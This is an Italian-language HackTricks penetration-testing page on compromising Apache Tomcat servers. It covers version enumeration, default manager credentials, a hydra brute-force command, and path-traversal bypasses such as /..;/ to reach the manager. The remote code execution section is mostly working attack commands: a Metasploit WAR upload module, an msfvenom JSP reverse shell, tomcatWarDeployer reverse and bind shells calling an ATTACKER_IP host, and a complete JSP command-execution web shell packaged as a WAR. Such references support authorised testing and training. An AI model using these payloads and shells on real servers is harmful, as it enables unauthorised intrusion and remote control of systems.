Tomcat

Reading time: 8 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Discovery

  • Di solito gira sulla porta 8080
  • Errore comune di Tomcat:

Enumeration

Identificazione della Versione

Per trovare la versione di Apache Tomcat, può essere eseguito un semplice comando:

bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Questo cercherà il termine "Tomcat" nella pagina dell'indice della documentazione, rivelando la versione nel tag del titolo della risposta HTML.

Posizione dei file Manager

Identificare le posizioni esatte delle directory /manager e /host-manager è cruciale poiché i loro nomi potrebbero essere modificati. Si consiglia una ricerca brute-force per localizzare queste pagine.

Enumerazione degli username

Per le versioni di Tomcat precedenti alla 6, è possibile enumerare gli username tramite:

bash
msf> use auxiliary/scanner/http/tomcat_enum

Credenziali Predefinite

La directory /manager/html è particolarmente sensibile in quanto consente il caricamento e la distribuzione di file WAR, il che può portare all'esecuzione di codice. Questa directory è protetta da autenticazione HTTP di base, con credenziali comuni che sono:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Queste credenziali possono essere testate utilizzando:

bash
msf> use auxiliary/scanner/http/tomcat_mgr_login

Un'altra directory notevole è /manager/status, che visualizza la versione di Tomcat e del sistema operativo, aiutando nell'identificazione delle vulnerabilità.

Attacco Brute Force

Per tentare un attacco brute force sulla directory manager, si può utilizzare:

bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Vulnerabilità comuni

Rivelazione della password nel backtrace

Accedere a /auth.jsp può rivelare la password in un backtrace in circostanze fortunate.

Doppia codifica URL

La vulnerabilità CVE-2007-1860 in mod_jk consente la codifica URL doppia per il path traversal, abilitando l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.

Per accedere al web di gestione di Tomcat vai a: pathTomcat/%252E%252E/manager/html

/examples

Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a divulgazione di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo completo, dovrebbero essere controllati per accessi non autorizzati e potenziale sfruttamento. Trova maggiori informazioni qui

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Sfruttamento del Path Traversal

In alcune configurazioni vulnerabili di Tomcat puoi ottenere accesso a directory protette in Tomcat usando il path: /..;/

Quindi, ad esempio, potresti essere in grado di accedere alla pagina del manager di Tomcat accedendo a: www.vulnerable.com/lalala/..;/manager/html

Un altro modo per bypassare i percorsi protetti usando questo trucco è accedere a http://www.vulnerable.com/;param=value/manager/html

RCE

Infine, se hai accesso al Tomcat Web Application Manager, puoi caricare e distribuire un file .war (eseguire codice).

Limitazioni

Potrai distribuire un WAR solo se hai sufficienti privilegi (ruoli: admin, manager e manager-script). Questi dettagli possono essere trovati in tomcat-users.xml solitamente definito in /usr/share/tomcat9/etc/tomcat-users.xml (varia tra le versioni) (vedi POST section).

bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Crea il war da distribuire:
bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
  1. Carica il file revshell.war e accedi ad esso (/revshell/):

Bind e reverse shell con tomcatWarDeployer.py

In alcuni scenari questo non funziona (ad esempio versioni obsolete di sun)

Scarica

bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git

Reverse shell

bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Utilizzando Culsterd

bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Metodo manuale - Web shell

Crea index.jsp con questo content:

java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Puoi anche installare questo (consente l'upload, il download e l'esecuzione di comandi): http://vonloesch.de/filebrowser.html

Manual Method 2

Ottieni una shell web JSP come questa e crea un file WAR:

bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Il nome del file delle credenziali di Tomcat è tomcat-users.xml e questo file indica il ruolo dell'utente all'interno di Tomcat.

bash
find / -name tomcat-users.xml 2>/dev/null

Esempio:

xml
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

Altri strumenti di scansione tomcat

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks